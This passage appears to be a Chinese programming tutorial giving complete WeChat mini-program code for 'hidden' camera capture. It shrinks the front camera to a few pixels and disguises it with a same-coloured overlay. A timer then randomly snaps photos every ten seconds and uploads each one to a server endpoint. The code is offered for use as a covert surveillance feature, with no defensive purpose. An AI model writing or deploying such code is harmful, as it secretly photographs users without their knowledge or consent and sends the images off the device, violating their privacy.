

只要不隐藏不为0都是可以的拍照的清晰度没有变化只有宽高比例有变化
同样<cover-view>也要把摄像机铺满,背景色调为周围一样的颜色这就相当于隐藏摄像头功能了,再加上定时器抓拍就完成了这项功能。
完成代码:
wxml代码:
<view class="page-body">
<view class="page-body-wrapper">
<camera device-position="front" flash="off" binderror="error" class="camera" bindstop='bindstop' binderror='binderror'>
<cover-view class='border_writh'></cover-view>
</camera>
<view class="btn-area">
<button type="primary" bindtap="stoptime">停止</button>
</view>
<view class="preview-tips">预览</view>
<image wx:if="{{src}}" mode="widthFix" src="{{src}}"></image>
</view>
</view>wxss代码:
.preview-tips {
margin: 20rpx 0;
}
.video {
margin: 50px auto;
width: 100%;
height: 300rpx;
}
.border_writh{
width: 30rpx;
height: 30rpx;
background-color:#1aad19;
}
.camera{
position: absolute;
top: 5rpx;
left: 5rpx;
width: 10rpx;
height: 14rpx;
}js代码:
var time = null;
Page({
/**
* 页面的初始数据
*/
data: {
},
onLoad() {
},
//定时器拍照
setTime: function() {
let that = this
let ctx = wx.createCameraContext()
time = setInterval(function() {
if (Math.round(Math.random()) == 1) {
console.log('拍照')
//拍照
ctx.takePhoto({
quality: 'high',
success: (res) => {
console.log(res.tempImagePath)
that.setData({
src: res.tempImagePath
})
that.localhostimgesupdata(res.tempImagePath)
}
})
}
}, 1000 * 10) //循环间隔 单位ms
},
//图片上传
localhostimgesupdata: function(imgPath) {
console.log('图片上传')
wx.uploadFile({
url: '', /图片上传服务器真实的接口地址
filePath: imgPath,
name: 'imgFile',
success: function(res) {
wx.showToast({
title: '图片上传成功',
icon: 'success',
duration: 2000
})
}
})
},
stoptime: function() {
console.log('定时停止')
clearInterval(time)
},
bindstop: function() {
console.log('非正常停止')
},
binderror: function() {
console.log('用户拒绝授权')
},
/**
* 生命周期函数--监听页面显示
*/
onShow: function() {
console.log('显示')
//定时器
this.setTime();
},
/**
* 生命周期函数--监听页面隐藏
*/
onHide: function() {
console.log('隐藏')
clearInterval(time)
},
/**
* 生命周期函数--监听页面卸载
*/
onUnload: function() {
console.log('卸载')
clearInterval(time)
},
})总结
以上所述是小编给大家介绍的微信小程序调用摄像头隐藏式拍照功能,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对脚本之家网站的支持!
